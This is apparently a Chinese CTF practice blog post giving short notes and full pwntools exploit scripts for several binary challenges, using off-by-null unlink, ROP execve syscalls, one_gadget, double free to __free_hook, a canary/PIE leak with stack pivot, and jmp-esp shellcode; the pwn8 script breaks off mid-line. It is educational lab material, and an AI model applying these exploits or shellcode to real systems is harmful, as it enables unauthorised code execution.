好久没有练过pwn了,, 感觉自己pwn 都废了,, 近期打算刷一下攻防世界的android 然后 刷刷这个华南赛区的pwn。
如果刷的差不多 打算继续刷buuoj 。暂时把自己会的刷完。。
pwn1
这个题目真的很有意思 感觉出题人费心了
edit 函数已经给限制了
然后show 函数也限制了
edit 函数️一个 off by null 由于没有开pie
unlink 就变得很简单
这里必须unlink到 32 的堆块位置,,, 要不然够不到key2 也没有 off by null key1
其他就没有啥说的了,,,,
就是off by null
修改key2 off by null key1
然后修改 free hook 就ok
from pwn import*
io=process("./pwn")
elf=ELF("./pwn")
libc=ELF("/lib/x86_64-linux-gnu/libc-2.23.so")
context.arch='amd64'
context.log_level = "debug"
def gdb_s():
gdb.attach(io)
pause()
def add(index,size,con):
io.recvuntil("4.show")
io.sendline("1")
io.recvuntil("index:")
io.sendline(str(index))
io.recvuntil("size:")
io.sendline(str(size))
io.recvuntil("content:")
io.send(con)
def dele(index):
io.recvuntil("4.show")
io.sendline("2")
io.recvuntil("index:")
io.sendline(str(index))
def edit(index,con):
io.recvuntil("4.show")
io.sendline("3")
io.recvuntil("index:")
io.sendline(str(index))
io.recvuntil("content:")
io.send(con)
def show(index):
io.recvuntil("4.show")
io.sendline('4')
io.recvuntil("index:")
io.sendline(str(index))
if __name__ =="__main__":
add(10,0xf0,'1010'+'\n')
bss_addr=0x6021E0
heap_len=0x602060
heap_addrs=0x6020E0
#gdb_s()
io.recvuntil("4.show")
io.sendline("1")
io.recvuntil("index:")
io.sendline('16')
io.recvuntil("size:")
io.sendline(str(0xf8))
io.recvuntil("gift: ")
heap_addr=int(io.recvline(),16)-0x110
log.success("heap_addr "+hex(heap_addr))
io.recvuntil("content:")
io.sendline("/bin/sh;")
add(1,0xf8,"111"+'\n')
add(2,0xf8,"222"+'\n')
add(32,0xf8,"3232"+'\n')
add(31,0xf8,"3131"+'\n')
add(30,0xf8,"3030"+'\n')
add(3,0xf8,"3333"+'\n')
# index 32--> 0x6021c8
# key1=6022BC key2=6022B8
#unlink
fd=heap_addrs+0x8*32-0x10-0x8
payload=p64(0)+p64(0xf0)+p64(fd)+p64(fd+0x8)
payload=payload.ljust(0xf0,'a')
payload+=p64(0xf0)
edit(32,payload)
#gdb_s()
dele(31)
#gdb_s()
#add(5,0xf8,'444'+'\n')
#add(6,0xf8,'444'+'\n')
#gdb_s()
payload=p64(fd)*3+p64(elf.got['free'])
payload=payload.ljust(0xf0,'a')
payload+=p64(1)
edit(32,payload)
#gdb_s()
#edit key2=1 key1=1
show(32)
#print io.recv
io.recvline()
leak=u64(io.recv(6).ljust(8,'\x00'))
#print leak
libc_base_addr=leak-libc.sym['free']
#print libc_base_addr
log.success("libc_base_addr "+hex(libc_base_addr))
system_addr=libc_base_addr+libc.sym['system']
free_hook_addr=libc_base_addr+libc.sym['__free_hook']
payload=p64(free_hook_addr)*4
payload=payload.ljust(0xf0,'a')
payload+=p64(1)
edit(30,payload)
edit(30,p64(system_addr))
#gdb_s()
#add(16,0xf8,"3333"+'\n')
show(16)
dele(16)
io.interactive()
io.close()
pwn3
这个题目一看就知道是系统调用的 execve(/bin//sh,0,0)、
32位的情况是
eax 系统调用号载入, execve为0xb ebx 第一个参数 ecx 第二个参数 pop edx 第三个参数 int 0x80
64位的
rax 系统调用号载入 传参依次是 RDI、RSI、RDX、R10、R8、R9 (和gcc 编译出64位函数传参一样,vs编译的RCX、RDX、R8、R9 )
32位是0xb 64是 0x3b
然后这个题目的rop 真难找,,,
最后的rdx,,,, 看了参考链接才找到
from pwn import*
io=process("./short")
elf=ELF("./short")
libc=ELF("/lib/x86_64-linux-gnu/libc-2.23.so")
context.arch='amd64'
context.log_level = "debug"
def gdb_s():
gdb.attach(io)
pause()
if __name__ =="__main__":
main_addr=0x40051D
syscall_ret=0x0000000000400517
mov_eax_ret=0x00000000004004e3
pop_rdi_ret=0x00000000004005a3
pop_rsi_r15=0x00000000004005a1
pop_r14_r15=0x00000000004005a0
pop_r12_r13_r14_r15=0x000000000040059c
pop_rbx_rbp_r12_r13_r14_r15=0x40059A
mov_rdx_r13_rsi_r14_edi_r15_call=0x400580
payload='a'*0x10+p64(main_addr)
io.sendline(payload)
leak_addr= u64(io.recvuntil("\x7f")[-6:].ljust(8,"\x00"))
stack_addr=leak_addr-0x118
#gdb_s()
payload="/bin/sh\x00".ljust(0x10,'\x00')
payload+=p64(pop_rbx_rbp_r12_r13_r14_r15)+p64(0)*2+p64(stack_addr+80)+p64(0)*3
payload+=p64(mov_rdx_r13_rsi_r14_edi_r15_call)
payload+=p64(mov_eax_ret)
payload+=p64(pop_rsi_r15)+p64(0)*2
payload+=p64(pop_rdi_ret)+p64(stack_addr-0x20)
payload+=p64(syscall_ret)
io.sendline(payload)
io.interactive()
io.close()
pwn4
就是一个简单的栈溢出,,,,只是用system 没有搞定 还是one 香
#encoding:utf-8
#!/upr/bin/env python
from pwn import *
io=process("./pwn3")
elf=ELF("./pwn3")
libc=ELF("/lib/i386-linux-gnu/libc-2.23.so")
context.log_level = "debug"
def debug():
gdb.attach(io)
pause()
if __name__ == '__main__':
io.recvuntil("Welcome, my friend. What's your name?")
io.sendline("a"*0x28)
#debug()
io.recvuntil('a'*0x28)
io.recv(8)
__exit_funcs_addr=u32(io.recv(4))
log.success("__exit_funcs_addr "+hex(__exit_funcs_addr))
libc_base_addr=__exit_funcs_addr-(0xf7ed03dc-0xf7d1e000)
log.success("libc_base_addr "+hex(libc_base_addr))
#payload='a'*0x28+p32(libc.search('/bin/sh').next()+libc_base_addr)+p32(libc.sym['system']+libc_base_addr)
payload='a'*0x2c+p32(0x3ac5c+libc_base_addr)
io.sendline(payload)
io.interactive()
'''
0x3ac5c execve("/bin/sh", esp+0x28, environ)
constraints:
esi is the GOT address of libc
[esp+0x28] == NULL
0x3ac5e execve("/bin/sh", esp+0x2c, environ)
constraints:
esi is the GOT address of libc
[esp+0x2c] == NULL
0x3ac62 execve("/bin/sh", esp+0x30, environ)
constraints:
esi is the GOT address of libc
[esp+0x30] == NULL
0x3ac69 execve("/bin/sh", esp+0x34, environ)
constraints:
esi is the GOT address of libc
[esp+0x34] == NULL
0x5fbc5 execl("/bin/sh", eax)
constraints:
esi is the GOT address of libc
eax == NULL
0x5fbc6 execl("/bin/sh", [esp])
constraints:
esi is the GOT address of libc
[esp] == NULL
'''
pwn6
很简单的double free
#encoding:utf-8
#!/usr/bin/env python
from pwn import*
io=process("./pwn")
elf=ELF("./pwn")
libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
context.log_level = "debug"
def gdb_s():
gdb.attach(io)
pause()
def add(size,name,call):
io.recvuntil("choice:")
io.sendline("1")
io.recvuntil("Please input the size of compary's name\n")
io.sendline(str(size))
io.recvuntil("please input name:\n")
io.send(name)
io.recvuntil("please input compary call:\n")
io.send(call)
def call(index):
io.recvuntil("choice:")
io.sendline("3")
io.recvuntil("Please input the index:\n")
io.sendline(str(index))
def show(index):
io.recvuntil("choice:")
io.sendline("2")
io.recvuntil("Please input the index:\n")
io.sendline(str(index))
if __name__ =="__main__":
add(0x18,"a"*8,"b"*8)#0
add(0x80,"c"*8,"d"*8)#1
add(0x80,"e"*8,"f"*8)#2
for i in range(8):
call(1)
call(0)
add(0x80,'k'*8,'g'*8)
#gdb_s()
show(3)
leak_addr=u64(io.recvuntil("\x7f")[-6:].ljust(8,'\x00'))
log.success("leak_addr "+hex(leak_addr))
libc_base_addr=leak_addr-(0x7f274f806ca0-0x7f274f41b000)
log.success("libc_base_addr "+hex(libc_base_addr))
free_hook_addr=libc_base_addr+libc.sym['__free_hook']
system_addr=libc_base_addr+libc.sym['system']
add(0x40,'444','5555')
add(0x40,'6666','777777')
add(0x40,'pppp','pppp')
call(4)
call(5)
call(4)
#gdb_s()
add(0x40,p64(free_hook_addr),'w')
add(0x40,"/bin/sh\x00",'p')
add(0x40,"/bin/sh\x00",'p')
add(0x40,p64(system_addr),'x')
call(8)
io.interactive()
io.close()
pwn7
这个题 保护全开 一开始看c++的时候 感觉还挺恶心 后来发现 也就是个rop题目 只不过 先要泄漏出piebase
柳暗花明又一村的 一幕就是 上一层的 堆栈里面有这个
但是泄漏libc的话 还是rop 泄漏 死于长度 = =
最后栈转移 执行rop
from pwn import*
elf=ELF("./babypwn")
libc=ELF("/lib/x86_64-linux-gnu/libc-2.23.so")
context.log_level = "debug"
while True:
try:
io=process("./babypwn")
def gdb_s():
gdb.attach(io)
pause()
if __name__ =="__main__":
go_str=""
ls="admin"
for i in range(len(ls)):
go_str+=chr(i^ord(ls[i]))
#gdb_s()
io.recvuntil("please input your name\n")
io.sendline(go_str)
#gdb_s()
io.recvuntil("do you want to get something???\n")
io.sendline('a'*0x18)
io.recvuntil('a'*0x18)
canary=u64(io.recv(8))-0xa
log.success("canary "+hex(canary))
stack_addr = u64(io.recv(6).ljust(8,"\x00"))-0x28
log.success("stack_addr "+hex(stack_addr))
#io.recv
io.recvuntil("OK???\n")
payload='a'*0x10
io.send(payload)
io.recvuntil("I think you can do something now\n")
payload='a'*0x28+p64(canary)+'c'*0x8+"\xde\x50"
io.send(payload)
#io.recv()
io.recvuntil("do you want to get something???\n")
io.send("a"*0x18)
io.recvuntil("OK???\n")
#gdb_s()
io.send("a"*0x29)
#print io.recv()
io.recvuntil('c'*0x8)
piebase = u64(io.recv(6).ljust(8,"\x00"))-0x1440
log.success("piebase "+hex(piebase))
printf_got=elf.got["printf"]+piebase
printf_plt=elf.plt["printf"]+piebase
read_got=elf.got["read"]+piebase
io.recvuntil("I think you can do something now\n")
pop_rdi_ret=piebase+0x14a3
leave_ret=piebase+0x10dc
sub_10DE = piebase+0x10de
pause()
payload = "a"*0x8+p64(pop_rdi_ret)+p64(read_got)+p64(printf_plt)
payload +=p64(sub_10DE)+p64(canary)+p64(stack_addr)+p64(leave_ret)
io.send(payload)
#print io.recv()
libc_base_address = u64(io.recv(6).ljust(8,"\x00"))-libc.sym["read"]
log.success("libc_base_address "+hex(libc_base_address))
sysytem_addr=libc.sym['system']+libc_base_address
#gdb_s()
io.recvuntil("do you want to get something???\n")
#piedebug(0x11fe)
io.sendline("a"*0x8)
io.recvuntil("OK???\n")
io.sendline("a"*0x8)
io.recvuntil("I think you can do something now\n")
payload='/bin/sh;'+p64(pop_rdi_ret)+p64(stack_addr)+p64(sysytem_addr)
payload+=p64(0)+p64(canary)+p64(stack_addr-0x10)+p64(leave_ret)
io.send(payload)
io.interactive()
io.close()
except:
io.close()
pwn8
这个直接用 ropgadget --binary ./easy_pwn --ropchain 就可以了
#encoding:utf-8
#!/upr/bin/env python
from pwn import *
from struct import pack
io=process("./easy_pwn")
elf=ELF("./easy_pwn")
libc=ELF("/lib/x86_64-linux-gnu/libc-2.23.so")
context.log_level = "debug"
def debug():
gdb.attach(io)
pause()
if __name__ == '__main__':
p = ''
p += pack('
pwn9
这个题目应该算是简单的 jmp esp 在windows 下的溢出里面很常见
当看到hint 这个函数有jmp esp 并且 什么保护都没有开的时候 我就感觉这个题目很简单
from pwn import*
io=process("./pwn")
elf=ELF("./pwn")
context.log_level = "debug"
def gdb_s():
gdb.attach(io)
pause()
if __name__ =="__main__":
jmp_addr=0x8048554
pay=asm("xor eax,eax")
pay+=asm("push eax")
pay+=asm("push 0x68732f2f")
pay+=asm("push 0x6e69622f")
pay+=asm("mov ebx,esp")
pay+=asm("mov ecx,eax")
pay+=asm("mov edx,eax")
pay+=asm("mov al,0xb")
pay+=asm("int 0x80")
#print len(pay)
payload=pay.ljust(0x24,'\x00')
payload+=p32(jmp_addr)
#gdb_s()
payload+=asm("sub esp,0x28")
payload+=asm("call esp")
io.sendline(payload)
io.interactive()
io.close()
参考链接
https://xz.aliyun.com/t/5517